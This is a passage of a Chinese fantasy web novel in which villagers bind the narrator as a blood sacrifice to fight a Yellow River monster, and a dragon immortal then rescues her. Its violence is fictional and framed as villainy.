你啊,赶紧把女儿交出去!从前村里没出嫁的女娃是个宝,现在却是个祸害!” “不行!不到最后一刻,我绝不会把闺女交出去! 而且村长已经去接杨道长了,这不是时辰还没到吗,我们相信等杨道长回来一定有法子阻止黄河吃人。” “不好啦——我家儿子、喘不上气,脸都憋紫了!” “我家儿子也出事了!” “不用村里的女娃去交换,黄河就会收走我们的儿子…… 不行!我刘老六五十三岁才得了这么一个大胖小子,我绝不允许我儿子出任何事。” “都怪风家那丫头,非说那具女尸是什么上来报恩的黄河娘娘分身! 要是早知道那具女尸不是好东西,早点通知杨道长,说不准杨道长现在都已经回来了。” “对,都是风柔那丫头害的,风大年,你女儿造的孽,这笔账怎么算?” “风柔那丫头是不是也没嫁人来着?既然她说见到了黄河娘娘,黄河娘娘还和她说了话,那就把她再送进黄河一次,让她下去给黄河娘娘做玉女!” “对,把她送下去做玉女,让她胡说八道害了我们的女儿!” 村子里吵得热闹,我和流苏则缩在被窝里竖起耳朵聚精会神地听外面动静。 生怕错过一丁点异常的动静。 村民们吵着吵着就闹去了大伯家,堵在大伯的院子里要风柔给个说法。 后来还是村里几位正直明事理的长辈出面才压住村民们的怒火。 毕竟,事已至此,找个小姑娘撒气又有什么用。 追根究底,真正该责怪的是村里那些管不住下半身的男人! 一个小时后,黄河的浪扬得更高了。 外面狂风呼啸,院子里的东西被吹得东滚西撞。 风声从窗户缝里渗进来,像怪物扒在窗外吹口哨。 有人在喊刚出生的儿子脸皮烂了。 有人在喊天黑了。 还有人害怕的哭叫着黄河又冲上来死鱼了。 且被冲上河岸的死鱼,个个身上都被啃掉了一大块肉。 鱼目猩红,身上血淋淋的,腐臭味极浓。 村里的狗也开始狂吠不止,窗外被风折断的树枝不停击打着屋檐。 哐哐声听得人心烦气躁。 流苏趴在我怀里怕得满身是汗,抖得厉害:“二姐,那东西要上来了……” 我轻轻拍打着流苏肩膀,压下心头惧怕,强装镇定地安抚流苏: “没事,咱们在家里,不出去。随他们怎么闹,咱们只管保住咱们这两条小命就够了。别怕,很快就过去了!” 流苏怯怯往我怀里埋深些。 不久,外面的村民们不知何故,竟消停了下来…… 大约过了五分钟,我忽听见有人在拍我家院门。 紧接着是我妈的声音从门口传进来:“小萦,开门,妈找你有事!” “是妈妈……” 我妈来了! 我赶紧松开流苏,掀开被子下床,临走还不忘用被子把流苏重新裹好。 “我去给妈开门,你不要出来,就在屋里等我!”我叮嘱流苏。 流苏面无血色地缩在被子里点点头。 我穿好鞋子,打开堂屋门跑进院子,又着急忙慌地去抽开院门的大闩。 妈这个时候来找我,肯定是担心我害怕,特意过来陪我的! 但,让我意外的是,门拉开—— 外面站着的根本不是我妈,而是以王瘸子风大年为首的一众村民。 我愣住,一股强烈的不祥预感顿时充斥着整颗心脏,看着他们这一张张严肃面孔,不理解地问:“大伯,你们这是干什么?” 王瘸子穿着一件灰白对襟绣龙纹盘扣大褂子,一件与上衣同色的粗布裤子,手里盘着一串檀木珠子,经典的算命先生打扮。 看见我,原先眯成一条缝的浑浊老眼睁开,眼珠子愈发幽深漆黑,视线慢慢变得清明…… 张了张嘴,喉间发出令人极度不适的卡痰般沙哑声: “不错,这几年身上的灵气是养回来不少,做祭品,再适合不过。” 第一卷 第19章 她命硬,死不了 祭品…… 脑子里嗡地一声,我顿时心跳加速,头皮发紧地警惕盯住王瘸子,咬牙质问:“你什么意思!” 风大年迫不及待的趾高气扬道: “王先生要作法收服黄河下兴风作浪的那个妖物,但是需要黄河龙女做祭品! 风萦,你的血对修行者大有益处,能增长修行者的功力,你老实跟我们走,做王先生开阵降妖的祭品。 等这件事结束,村子里所有人都会记你一功的!” 我呼吸一滞,不敢相信的下意识在人群中寻找江墨川身影。 我的血能供养灵物,给人增长修为的秘密除了我妈,就只有江墨川胡玉衡他们这些仙家知道! 现在连风大年和王瘸子都晓得了,毋庸置疑,是江墨川那条白眼狼泄密的。 视线穿过人群,落在不远处路边柳树下的那抹黑色身影上。 江墨川那个白眼狼此时正搂着弱不禁风的风柔冷眼旁观这一切。 风柔在他怀里象征性的挣扎了两下,一脸担忧地看向我这边。 瞧着像要来找我,但江墨川不许。 “你们想多了,我的血没这神效!”我心慌意乱地立马否认。 站在风大年身后的马叔面露为难道: “风萦丫头啊,你就帮帮咱们这些乡亲们吧! 风柔丫头的男人小江都说了,前些天风柔丫头也是被河底里的妖物迷了神智,才误把女尸认成河里的神仙。 昨晚真正的黄河娘娘给风柔托梦了,告诉了她解决这件事的办法,就是需要用一点你的血…… 小江都在咱们跟前立下军令状了,说只要你肯做祭品,他和他师父王大师一定能联手斩杀河底那只兴风作浪的怪物!” “没错!” 王瘸子手上盘檀木珠串的动作一顿,得意地挑眉,振振有词保证道: “只要借你的血一用,我们必能还槐荫村一片太平! 风萦,这可是桩大功德,只要你答应做祭品,咱们槐荫村上下都会念着你这次的好的!” 我张了张嘴,正打算呛回去,但被王瘸子的闺女王白雾抢先道德绑架道: “风萦,你以前可没少给村里这些叔伯们惹事,你现在该庆幸村子还有用得上你的地方! 让你做祭品,是咱们抬举你,你可不要不识好歹!” 扭头又和身边的村民们有鼻子有眼道: “风柔才是真正的通阴体质,你们没听江大哥说吗,风柔能和黄河娘娘建立联系,就证明风柔才是黄河选出来的通灵使者,风柔是在替神明传话! 这个风萦,一出生就克死了爹克没了妈,连神姑都被她连累得遭了天谴。 我看她才不是什么黄河龙女呢,她就是个水鬼投生的讨债鬼。 这些年来谁靠近她谁倒霉,明明是她自己挑食性子不好不愿意在大年叔叔家过被人约束的日子,非要回自家住,却搞得像大年叔叔亏待了她似的! 小柔那么照顾她,却被她欺负得只能住牛屋,还被她害得重寒入体落下病根,她就是个扫把星! 说不准那晚就是因为她在小柔身边,才招惹来脏东西迷惑小柔,害小柔传达错了神明的指示! 都是她,是她这个灾星害了我们整个槐荫村! 她没有出生前咱们村子年年风调雨顺,她一出生咱们这就又是闹水患又是闹妖物,她不是灾星是什么!” 有和稀泥的中年男人跟着附和: “是啊,咱们村子就是从风萦出生起不太平的,风萦从前就爱撒谎坑害咱们,她就是张乌鸦嘴,她说的话从来都是反的! 她说好就是不好,她说不好就是好! 小柔可是咱们看着长大的,她自幼就乖巧听话,从不会撒谎,只有风萦才会谎话连篇!” “就是啊,从前风萦说的话都没有灵验过,怎么偏偏这次风柔说的不灵,被风萦这死丫头说中了呢! 说不准,风萦和那些脏东西是一伙的,是在帮着那些脏东西害人!” 周家胖婶子手背拍打在掌心郑重其事地发表阴谋论。 我看着被这几人说得疑心大起的村民们,不安地攥紧十指。 这个时候最怕的就是有人故意煽动大家的情绪,洗脑大家责任转移…… 不能硬碰硬,因为他们已经失去理智了。 只能躲! “我不去!要做祭品你们自己去做!”我恼火地吼了一句,手快地关上院门! 但千算万算没料到风大年竟然早就在防着我这一招,不等我把门合紧就一巴掌拍在了我家大门上,用力一推,反将我推得差点摔出去。 紧接着就有男人迅速跑过来一把捂住我的嘴,不由分说地将我往外拖! “你以为我们是来和你商量的吗?”风大年面目狰狞地指着我咬牙切齿威胁道:“今天这个祭品,你当也得当,不当也得当!” 他们突然出手的确是在我的意料之外,我慌了神地着急挣扎,想要呼救,奈何嘴被人捂住只能勉强发出低沉的呜呜声。 风大年见状忙刻意压轻声提醒把我拖出去的中年男人: “把她的嘴捂紧了!没听小江说,这死丫头家里邪门得很,养了脏东西么?要是被那些脏东西听见,我们就带不走她了!” 捂我嘴的男人闻言,当即狠心将我的鼻子也给捂住了! 这下,我彻底无法发声了,口鼻被人捂得死死的,连一丝新鲜空气都呼吸不到了! 我不死心地依旧拼了命地胡乱挣扎,哪怕被憋得胸膛裂痛,肺腑间完全感受不到一丝氧气流通,我也坚决不肯屈服。 但我最终还是输在了敌众我寡上! 别的村民见身后的中年男人有些按不住我,赶紧心有灵犀地蜂拥过来,两人抓住我的胳膊,两人捞起我的脚,把我整个人都给抬了起来! “唔、唔唔!”我喘不上气地拼死乱挣乱踹,王瘸子怕生变故,赶紧下令:“快把人抬走!” 随后风大年轻轻关上我家的院门,催促着抬我的这几个人一路小跑着把我带远。 直到上了门口那条土路,捂我口鼻的人才从指腹漏了两丝氧气给我…… 我一口气喘上来,心惊胆战满头大汗的愤怒呜咽:“放开……唔!放、放开我!” 等候在路边的风柔也红着双眼追了过来: “你们松开些,别把小萦捂死了……你们轻点,小萦,小萦别怕,姐姐在呢!” 可我怎么觉得,就是因为有你风柔在,我才更危险呢! 我拼尽全力地反抗乱踹,不肯认命地迅速在脑中搜索自救方式。 风柔又跑去弱柳扶风的抓住跟上来的江墨川胳膊,红着眼眶梨花带雨的问江墨川: “你们不是答应过我,要尊重小萦的意愿,不对小萦用强的吗?墨川哥哥你快让他们放开小萦,小萦会被吓坏的。” 江墨川握住风柔的手,耐心温声安抚: “柔儿,听话,事到如今我们已经顾不上考虑她的意愿了!何况,她命硬,没那么容易死。” 呵,我命硬…… 好啊,等我回家我就去试试,是我命硬还是你的牌位硬! 我还没想到能脱困的法子,他们倒是先将我丢在了路边一棵老槐树下。 随后松开我的双脚,按着我的双臂。 把我用麻绳牢牢捆了起来。 捆完,他们准备压着我去黄河边。 不过,也不知道江墨川又和王瘸子说了什么,王瘸子听完就招手把村民们都喊到了一边去。 给我和江墨川留了单独说话的空间。 我不服气暗暗用指甲抠着捆在手腕处的那层麻绳,盯着缓步走近的江墨川,愤怒咬牙: “江墨川,你真让我恶心!想要我的血,做梦!” 他这次却没有因为我的难听话而面露不悦,反而目光掠过我被勒红的手腕,眸中一沉。 片刻,他轻轻启唇: “抱歉,这次,是我让你受委屈了。但我别无选择,村民们跑去踹柔儿的家门,口口声声指责柔儿撒谎。 柔儿性子软脸皮薄,听不得这些话。 何况,不过是一次失误罢了,我不能让柔儿被他们欺负了,不能放任他们把撒谎的脏水泼在柔儿身上。 柔儿不是你,你有个黄河龙女转世的身份在,那些人对你再不满,也不得不包容你。 你们人类自私自利,出了事只会第一时间维护自身利益,根本不会在意别人。 要是没个有分量的身份护着柔儿,一旦坐实柔儿撒谎害了全村这个罪名,柔儿在村里会生活不下去的。” 说着,他走近我两步,一脸认真地试图和我商量: “为了让村民们相信柔儿没说谎,我只能告诉他们,柔儿可以与黄河娘娘产生感应建立联系。 她只需要做受村民敬畏的黄河使者,剩下的事,我来解决。 风萦,你也不希望自己从小长大的村子出事,血流成河吧! 听话,乖乖献出你的血,你的血能助我增长修为,提升法力。 相信我,只要你帮我,我就能试着击退黄河里的那只怪物。” 我气极反笑地拧眉呛道: “人类自私自利,出了事只会第一时间维护自身利益,你呢?说得像你不是一样! 江墨川,你想英雄救美帮风柔出头给风柔撑腰,去和河里的怪物交手,那你凭自己的本事啊! 凭什么拿我的血去耍威风? 江墨川,你也知道你不是河里那只怪物的对手,吸我的血去和她斗,你就没想过你这样做会不会吸死我吗? 还是,你反而觉得能借这个机会铲除我这个眼中钉肉中刺两全其美? 江墨川,我拿血供养你几年,那是我对你的恩赐! 什么时候我的血,成为你想要就要、想吸就吸的东西了? 这是我的血,你不要对别人的东西占有欲这么强!” 他暗暗攥紧手,面不改色地冷下语气: “风萦,我这样做是在救人,你失去一点血,就能换回全村女孩的性命,功德无量。 你什么时候变得这样铁石心肠了? 还是说,你从前对仙家们的宽容温和,对外表现出来的善良正直,都是装的? 哼,我早就该看清你的真面目,你善良宽容的那一面只是装给我们看的,好欺骗我们心甘情愿为你卖命,给你借寿。 你这种女人,心机深沉,心思肮脏,死……不足惜!” 第一卷 第20章 黄河女尸来要人了 我简直要被他的无耻程度震碎了三观,好笑道: “对,我就是装的,我就是铁石心肠,又如何呢! 功德无量?如果用我的血能换回全村女孩的性命我愿意做这件功德无量的大好事,但前提是,功劳得是我的! 现在你们强行绑了我,你和王瘸子,一个风水大师,一个大师的弟子,你们两个才是所有人心中的救世主! 凭什么牺牲最多的人是我,最后被大家歌功颂德的人,是你们这对表里不一的无耻师徒! 还有,江墨川,你一个一心只想利用这次功劳给自己女人挣身份面子的自私鬼,你有什么资格用村里所有女孩的命道德绑架我! 我是死不足惜,那你又是什么,你别忘了如果没有我,你四年前就该死了!” “风萦!” 一句话成功戳中了他的逆鳞,他一时脸色难看至极,不敢承认地狠声怒道: “你反复提起这些事,不就是在怪我没有信守承诺娶你么! 你还是在介意柔儿,看来你还没有学懂事,学乖,那就别怪我推迟婚期了! 风萦,等你什么时候学会尊重你姐姐,学会放下你的嫉妒心,做个像你姐姐一样明事理,懂分寸的女人了,本尊再娶你! 本尊倒要看看,你还能嘴硬多久,本尊不娶你,没有人肯借寿给你,总有一日,你会老老实实爬过来求着本尊原谅你的!” 说罢,震怒拂袖,决然转身离去。 我无语的冷笑笑,怎么现在才发现江墨川这个白眼狼听不懂人话呢! 他前脚离开,王瘸子身边的中年男人们后脚就跑过来控制住了我。 我本想用头撞退一个,找机会再逃的。 谁知江墨川的声音先一步阴冷飘过来:“她要是再敢跑,就打断她的腿!” 我怔住,怒火窝在胸口无从发泄。 村里邻居们会不会打断我的腿不好说,但江墨川这个变态肯定真敢对我下手! 他就是个恩将仇报忘恩负义的畜生! 我被一堆人簇拥着硬推到黄河岸边,这会子黄河岸口的浊浪已经翻滚似一锅沸水了。 水浪重重滚动在河面上,猎风里掺着河水的湿气与死鱼的腥臭味,刮在人脸上似被人拿刀子削脸皮一般。 河岸边早就摆好了王瘸子等会作法要用的供桌,村子里剩下的中年村民们也早早等候在了供桌旁…… 中年男人们把我推到岸边一棵被雷劈过的百年大枣树前,又用麻绳将我捆在枣树上。 王瘸子大摇大摆地走到供桌前,炫技般拿指尖蘸取朱砂,在桌上一张空白黄纸上一气呵成地画出符文—— 画完,三步并两步地朝我走来,埋汰地往黄纸背面吐了口吐沫,抬手便将黄符贴在了我的脑门子上…… 我:“……” 真脏! 下一秒,我就陡然察觉自己身上的力气被一股无形力量强行抽走了一半! 我慌乱地昂着头,死死盯着王瘸子与那个忘恩负义的白眼狼: “放开我!王瘸子江墨川,你们非要把事情做得这么绝么!” 王瘸子有模有样地从身后抽出桃木剑,忽将剑刃横在我的脖子上,不等我反应过来便握剑一收,脖颈瞬间火辣辣的剧痛! 温热的血液顷刻濡湿我的衣领,我懵了两秒才猛地回神,发现这王八蛋差点划破了我的颈动脉! 不行,他划我手腕我还能忍,可划我脖子,稍有不慎,江墨川法力用得猛些,我就有动脉破裂失血过多身亡的风险…… 我心慌到极点,想用手捂住脖子,却奈何双臂都被麻绳束缚着,整个人都无法动弹半分。 王瘸子举起手里桃木剑,盯着剑刃上的那抹猩红,眼底燃起了贪婪的烈焰,面目扭曲的歪嘴激动道:“有了黄河龙女的血相助,杨大头,我看村里以后谁还敢说我不如你!” 我心底发怵地抱着最后一丝希望颤声威胁江墨川: “江墨川,你考虑好了,你今天如果真那么做了,以后我们之间就、再无任何关系!我风萦和你、们,恩断义绝!” 不远处的江墨川抱住想要朝我跑来的风柔,冷冷瞟了我一眼,语气凉薄地淡淡回了句:“你,随意!” 呵,好啊,随意就随意…… 你最好祈求今天过后我还活着,不然这些年的不公与伤害,我风萦定会加倍奉还给你江墨川! 王瘸子提起桃木剑转身往供桌前走去。 供桌上香炉内的那炷香仅剩三公分未燃尽,这也意味着,最多十分钟,就到了黄河底下那东西上来收人的时辰了! 黄河的浊浪已经有了蓄势待发的趋势,泥水一重重扑上河岸,片刻就淹湿了我的脚面…… 王瘸子拿打火机点燃香烛与黄纸,手里握着桃木剑闷声念念有词。 寒风刮得我额前黄符在视线里疯狂翻飞。 而就在王瘸子准备动手作法时,一道熟悉的女孩身影忽从人群里窜了出来—— 手里抱着一只擀面杖跑到王瘸子背后就疯狂往王瘸子身上打,边哭边硬气地喊道:“坏人!欺负我二姐,打死你,打死你!” 是流苏! 心尖像被一把锤子重重捶打了下。 我意外愣住:“流苏……” 余光瞥见风大年龇牙咧嘴撸袖子的身影,我忙提醒道:“流苏!快跑!不要管我!不要被风大年抓到了!” 王瘸子被流苏打得弯腰抱头哎呦大叫,风大年则拔腿就往流苏的身影追去:“死丫头,终于露面了!这次我看你往哪跑!” 我急得心跳如鼓:“流苏快跑!” 流苏扭头见风大年朝自己奔去了,拿着擀面杖就反方向往我这边跑来。 瘦小的身躯举着擀面杖毅然挡在我身前,明明自己怕得双腿都在抖,却还是拖着哭腔磕磕巴巴朝对面放狠话护着我: “别碰我二姐!谁碰我二姐我和谁拼命!大舅舅、大表姐,你们又欺负二姐!你们都是坏人!” 风大年嘴里骂骂咧咧地跑过来想拽走流苏,却冷不防真挨了流苏两棒子。 “嗳你这个小赔钱货!连你舅都敢打!看我抓住你不把你打残喽!” 风大年一把攥住流苏手里的擀面杖用力和流苏拉扯,想把擀面杖从流苏手里抢回来。 流苏一个十八九岁的瘦弱小姑娘怎么可能是风大年这个强壮的老男人对手,只和风大年拉扯了几个回合就有点重心不稳,小身板摇摇欲坠了。 我见状担忧冲流苏大喊:“苏苏你快放手,快跑啊!” 不能落进风大年手里,风大年就是个吃人不吐骨头的恶魔! “跑?”风大年不要脸的凶神恶煞咬牙切齿骂道:“今天你们谁都别想跑!赔钱货!跟我回去嫁人,再敢跑我打断你的狗腿,走!” 流苏被他甩得像个断了线失去方向的风筝,没多久就被风大年夺过擀面杖拽住了胳膊。 风大年发了狠地要将流苏往边上拽:“走!跟我回家!” 流苏哭着恐慌摇头,反抗得厉害:“我不跟你走!我不要嫁给疯子!” “苏苏!” 只可惜我现在被捆得像个粽子,还被绑在树上,贴了黄符,全身上下除了脖子脑袋,其他地方根本动弹不得。 眼见流苏被风大年拽走,也无能为力,只有干着急的份! 流苏被风大年拖拽了几米远,嚎啕大哭着扯嗓子朝风大年喊: “你个坏人,我不要跟你走!二姐就是被你们一家害成这样的! 大舅舅你放了二姐好不好?你们对二姐的伤害已经够多了,你放了她! 你们都已经剥了二姐身上九片龙……” 我一惊,愕然昂头。 但却看见流苏话还没说完,就被站在人群前方的江墨川一道法力打晕了! 上一秒还在反抗风大年的流苏这一秒虚弱的腿软倒地。 风大年意外的怔了怔,见流苏真晕了,这才放心索性将她扔在原地暂时不管了。 我强压怒意直视江墨川那双无敌黑洞般的漆眸,自嘲勾唇笑笑。 为了风柔的好名声,他宁愿无视我的苦难。 四年啊,养条狗也该学会冲我摇尾巴了! 我被江墨川气得大口喘气,偷偷瞟了眼躺在地上的流苏…… 昏迷了也好,至少现在她是安全的。 王白雾着急忙慌给她爹看完身上的伤,扭头瞧见流苏昏迷在地上,大步迈过去狠毒地踹了流苏两脚。 面目狰狞的低声骂道:“让你多管闲事!让你打我爸!让你乱说话!呸,小贱人逃跑的时候怎么没被黄河水淹死呢!” 话音落,黄河收玉女的时辰到,黄河水面立时泛起了翻滚的白色浓烟。 远远望去,像是谁在水里泡了干冰! 河岸上的风也刮得更猛了,站在河边的村民们被吹得连连后退,就连被绑在树上的我都能感受到树根虬扎地下百年的老树树干在向左侧倾斜—— 王瘸子用符纸强压着供桌不被掀飞,亦被岸边狂风卷得衣角狂扇。 不久,水面上翻滚的浓烟巨浪一寸寸拔高,不断升至虚空三十米高度才停止。 紧接着,浓烟在黄河之上凝聚成一个高大的女人轮廓。 烟雾凝成的女人身上穿着古代广袖束腰衣裙,长发及腰,头上戴着让人眼熟的凤冠。 五官精致立体,缓缓睁眼,眼眶内,却是两个黑洞! 河面浓烟凝聚而成的这个庞然大物—— 分明就是前几天村里人从河里捞出的那具女尸! 第一卷 第21章 龙仙大人回来了 “女、女尸!是那个、怪物!” “不好了,女尸来要人了!” “女尸从黄河底下出来了——” 村民们惊慌失措乱成一团。 王瘸子与江墨川相视一眼,当即双双拔出桃木剑施法朝黄河上方的那道巨影攻击去。 可惜他们的攻击对那个怪物来说,毫无任何杀伤力。 怪物拂袖一挥,便把江墨川与王瘸子的法力原路挡了回来—— 猎猎狂风撕扯着怪物浓烟凝成的袖摆,怪物低头,居高临下地盯着岸边人,面无表情地嘶声质问:“女孩呢?我要的女孩呢!” 村民们被吓得抱团连连往远处退,王瘸子江墨川则二话没说就提着桃木剑施展神通朝女尸再次攻击去。 女尸俯瞰着那两道飞向她的人影,冷哼一声,怒道:“找死——” 抬手间顷刻掀起万丈黄河浊水向王瘸子江墨川反击过来。 渗着寒气的河水扑上岸,村民们害怕自个儿被黄河的巨浪吞下去,皆是吓得一哄而散连滚带爬地跑向高处。 冰凉的黄河泥水溅在我脸上,涌至我脚下。 但奇的是,扑过来的黄河巨浪竟并未将我吞噬掉…… 汹涌的黄河水仿佛在避着我上岸。 我不解地低头,才发现腕上的那根红绳在散发着灼灼红光…… 是、龙仙大人! 如我所料,王瘸子和江墨川根本不是那个怪物的对手。 两人提着桃木剑快要撑不住时,王瘸子扭头咬着一口黄牙催促道:“墨川,血!” 下一瞬,江墨川毫不留情地用法术吸走了我脖颈伤口内的鲜血…… 我眼睁睁看着自己的血化成一条雾蒙蒙的红线,红线另一端分出两脉,分别输送给王瘸子与江墨川…… 两个王八蛋得了我的血,顿时法力大增! 可他们现在所需要的血量比我从前每次取血供养仙家的量要大多了! 就他们这个吸法,十秒钟就能吸走我一个月的放血量! 不一会,伤口就因被吸血太多而酸痛锥心,裂疼不止…… 该死的,江墨川!我真后悔,这四年来放血喂养他…… 早知如今,我宁愿把那些血泼菜地里浇白菜,也不愿意施舍给他这个白眼狼! 而他们突然强大起来的攻击力也成功激怒了那个女尸,女尸怒吼着招来黄河水浪,双手聚起水柱,一掌接着一掌地冲江墨川王瘸子打去。 河面因她们的交手而黄水翻腾不止,扑上岸的水浪似一头头吞人的猛兽,浊水将人拍摔在地,而起身慢的村民们下一秒就被水舌卷进了翻滚的黄河泥水里—— “他四舅啊!” “当家的!” “大姨——” 被卷进黄河的人越来越多,岸上的村民想救,但面对汹涌翻滚波涛凶猛的黄河只能干着急…… 该死的江墨川与王瘸子每一次加重法力都会猛吸我的血,不到五分钟,我就被痛得汗湿后背与脸颊,失血过多连看人都重影了。 视线模糊得愈发厉害,我痛得昏昏欲睡,再醒神,是王瘸子被女尸一道水柱从半空中打下来…… 王瘸子砰地一声砸在了我眼前,摔得口鼻溅出二尺高的血。 我愣了愣,双眼勉强还能对焦,脑子里昏昏沉沉的,仅剩三分清醒意识。 但,我能感觉到,我快不行了。 再这么被他吸下去…… 我的动脉,真要裂开大出血了! 我好疼…… 岸边的村民们已经跑的跑躲的躲了。 江墨川被女尸用水浪逼退回来那一刻,我虚弱地靠在树干上,痛苦向他呼救:“江、墨川!我快、不行了……快停手!” 提着桃木剑的江墨川闻声扭头朝我看过来。 许是看见我苍白的面庞确认了我没撒谎,攥着桃木剑为难拧眉,像是动了罢手的念头…… 可就在他犹豫期间,风柔突然从岸边一颗巨石后冒了出来,冲到江墨川身前,张开双臂作势要保护江墨川:“不许伤害墨川哥哥和小萦!” 我清楚看见,女尸原本并没有注意到她,是她猛地这么一喊,才将女尸的注意力再次吸引过去。 女尸抬起双袖骤然召起千丈巨浪,发了狠的要给江墨川点颜色看看。 而江墨川亦是一惊,下意识将风柔扯开,保护在身后。 为了应对女尸的猛攻,竟选择加重法力吸取我的血—— 我愣靠在树干上,下一秒,只觉整个脖子都被一股强力猛地撕开…… 剧痛直抵天灵盖,我身子一颤痛苦张嘴,喉头只能发出一声悲恸的嘶鸣! 紧接着,王瘸子在我脖子上划出的那道口子瞬间被撑裂,血口更深、更长…… 极致的痛苦冲击着我的全身感官,滚烫的鲜血从血管里爆出来,不等濡湿衣领,就被江墨川的法力吸去化作襄助他斩杀女尸的法力了。 脑子里霎时空白一片,耳边只充斥着一道不断重复却没有感情的心声:好、疼…… 好疼啊。 这是要死了吗…… 妈,我好疼,你在哪。 眼前渐渐晕染开血色,目之所及的一切风景,都变成了猩红色。 哪怕吸走我这么多血,江墨川那个蠢货还是斗不过怪物女尸。 女尸似乎也看出他在意风柔了,于是后续再出手,女尸便故意专往风柔那个方向攻击。 逼得江墨川不得已直接化出黑蛟原形与女尸撕斗。 “风萦!” 不知熬了多久,耳边终于等到了熟人的呼唤。 一柄剑身嵌刻八卦的锋利长剑从我身后刺破长风飞了出去,刺向女尸。 下一秒,身穿蓝黑色道袍的年轻男人脚踩虚空飞向女尸,和江墨川一道对付黄河水底那个怪物。 迟迟归来的杨泽安与村长江叔踩着冰冷刺骨的黄河水朝我跑来。 杨泽安看了眼我脖子上的狰狞伤口,心疼的瞬间红了眼: “妈的!这死东西下手真狠!风萦,伤成这样是不是疼死了!” 来不及多说,他愤怒扯掉我额前的黄符,手忙脚乱地立即去给我解身上麻绳。 村长江叔也不敢相信地重重叹了口气:“怎么会变成这样!” 但,江叔与杨泽安确实手笨了点。 半天也没解开我身上的绳子。 急的杨泽安疯狂在我身后骂骂咧咧:“该死啊,是谁绑的绳子!他妈的怎么给打成了死结!” 江叔见状则忙撕下自己一片旧衣衣角,捂在我脖子上试图给我止血: “泽安你先别急,把你的外套脱下来!先给小萦止血!” 杨泽安赶紧脱了褂子,把衣服交给江叔按在我的伤口上。 远处和女尸交手的杨道长正费劲用拂尘抵抗女尸的攻击,至于江墨川那个蠢货,竟被女尸一道巨浪撞得轰然从天而落,摔倒在了泡着泥水的岸上…… “墨川哥哥……”风柔躲在巨石后,见江墨川摔在河边,犹豫不决地把脚伸出来,又收了回去。 眼见杨道长一个人要扛不住了,另一道陌生的少年身影不知从哪冒了出来,亦加入了战斗。 十七八岁的少年竟神奇地在手中凝出一朵红莲,红莲打进女尸身体,震得女尸哀嚎一声。 黄河上方怪物与杨道长他们还打得热闹,身后的杨泽安已经被麻绳逼疯了,用手解不开,弯腰就拿嘴啃…… “老子今天就不信解不开这玩意了!” 我脑中发闷,耳边嗡鸣声不断,头重脚轻,浑浑噩噩地想闭眼…… “小萦!不能睡!睡了就醒不过来了,坚持住,我们马上就带你去老何家止血!” “小萦!千万别闭眼,别闭眼啊!我听说失血过多昏迷过去的人容易变成植物人,你可不能变成植物人,我不想伺候你吃喝拉撒啊!” 大爷的,我怎么就这么不爱听杨泽安这狗东西说话呢! 倒在地上缓过神来的江墨川看了眼正和女尸交手的杨道长他们,又回头瞧了瞧躲在石头后瑟瑟发抖的风柔…… 果断选择起身朝风柔靠近。 他想保护风柔。 可风柔看见他在地上像条蛆般疯狂朝自己蠕动……明显嫌弃且害怕地往后退了两步。 但就在此时,黄河深处蓦然又窜出一条金光笼罩、身披紫鳞、威武庞大的巨龙—— 神龙破水而出,强大的仙力顿时震晕了岸上的村民与重伤的那条黑蛟。 神龙威武霸气地飞到杨道长与少年跟前,张开血盆大口愤怒吼啸,龙吟声竟生生震碎了以烟雾化形的女尸…… 龙尾一摆,金光在眼前亮了又亮—— 不久,河面再无浓烟凝成的新娘巨影,只剩下一条身形胖大、浑身是血、面容恐怖的大黑鱼。 神龙一爪子将鱼妖打趴在岸上,龙影化作紫光,落地凝成人形的那一刻,我身上的麻绳也陡然松了开…… “风萦!” 他风尘仆仆地落地,看见我此刻的狼狈样,紫眸深处泛起丝丝心疼怜惜之色…… 而我瞧出他眼里的担忧,鼻尖一酸,无尽的委屈在胸腔内轰然爆开。 “龙仙大人!” 我再也撑不下去的放声大哭了出来,像是抓住了唯一一根救命稻草,不管不顾地拔腿就朝龙仙大人踉跄跑去…… 他怔了怔,回过神,也心疼地拧着眉,主动快步向我迎来。 我奔向他的步伐沉重不稳,他见我摇摇欲坠,脚下疾步不觉变为了奔跑…… “萦儿!” 我腿软往河里摔去,但比河水渗骨寒意先来的…… 是他清凉且极有安全感的怀抱。 第一卷 第22章 本王不可能爱上她! “本王就离开几个时辰,你怎么被人欺负成这样了!” 他抱着我,大手轻抚在我脖间伤口上,像在心疼一件仅属于自己、却被他人恶意震裂的瓷器。 “龙仙大人……”我伏在他怀里,嗓音沙哑的难过大哭:“我好疼。” 他闻言指尖立即聚拢紫光灵力,温柔给我修复脖颈上狰狞可怖的伤口。 “很快就不疼了,风萦,没事了,都过去了!本王在,本王回来了!” 他喘着粗气,一手搂住我的身子,一手拢起法力按在我脖子上给我疗伤。 盯着我被鲜血浸透的半个身子,他眸色一沉,蓦地扭头看向昏死在河岸上的黑蛟,深沉眸底似在酝酿一场暴风雨。 “本王的人也敢伤,该死!” 抬手打算施法收拾江墨川,但仙法刚凝聚于掌心,他就身子一震,猝不及防一口鲜血喷了出去…… “龙仙大人!”我着急喊他,后知后觉地感受到掌中一阵潮湿,还黏糊糊的。 把手从他肩头拿下来,翻开一看,才发现他也受伤了! 我瞧着掌心的血,以为他是为了救我才被伤的,愧疚地趴他怀里抽泣得越来越大声…… “龙仙大人,是我害了你,对不起,对不起……”我瘪嘴大哭。 他僵住,抹去唇角的血没好气道: “该死,怎么在这时候灵力透支……别哭了风萦,本王只是耗损太多法力强行运功遭了反噬,又不是死了!” 我趴在他怀里吸了吸鼻子,继续哭。 他迷茫了几秒,搂住我的腰放轻声反思道:“好了,本王没吼你,还疼么?” 我含泪点头:“疼。” 他皱眉担忧:“本王已经用法力帮你愈合了伤口,还疼?” 我哭一声抽一下:“全身都疼,头晕眼花,耳边还嗡嗡响,龙仙大人,我是不是要死了?” “放心,你死不了!”他抬手罩在我的脑袋,微微一叹,“至少有本王在,你死不了。” 从前生病的时候,村里人也会回答我,我死不了,因为我是黄河龙女转世,有黄河保佑。 江墨川更是说过无数次同样的话,只是每一次,他用来佐证我死不了的理由都是:我八字硬,命硬…… 每一次带着深深的恶意与不屑。 从小到大,还是第一次有人和我说,我死不了,因为有他在。 酸涩在心中翻搅着,我感动地抱住他,猛地放声在他耳边哭嚎了起来…… 吓他一跳。 他拍拍我的背,无奈道:“又怎么了,哭这么大声想吓死本王?” 我眼泪一把鼻涕一把地抹他肩上,可怜兮兮说: “你是第一个,和我说这些话的人。从前他们只会嫌我命硬,只会嫌我烦。” 他深吸一口气,沉默良久才道:“那是他们嘴欠!别哭了,你敢把鼻涕抹本王身上,本王就把你扔回黄河里!” 可惜,他说迟了。 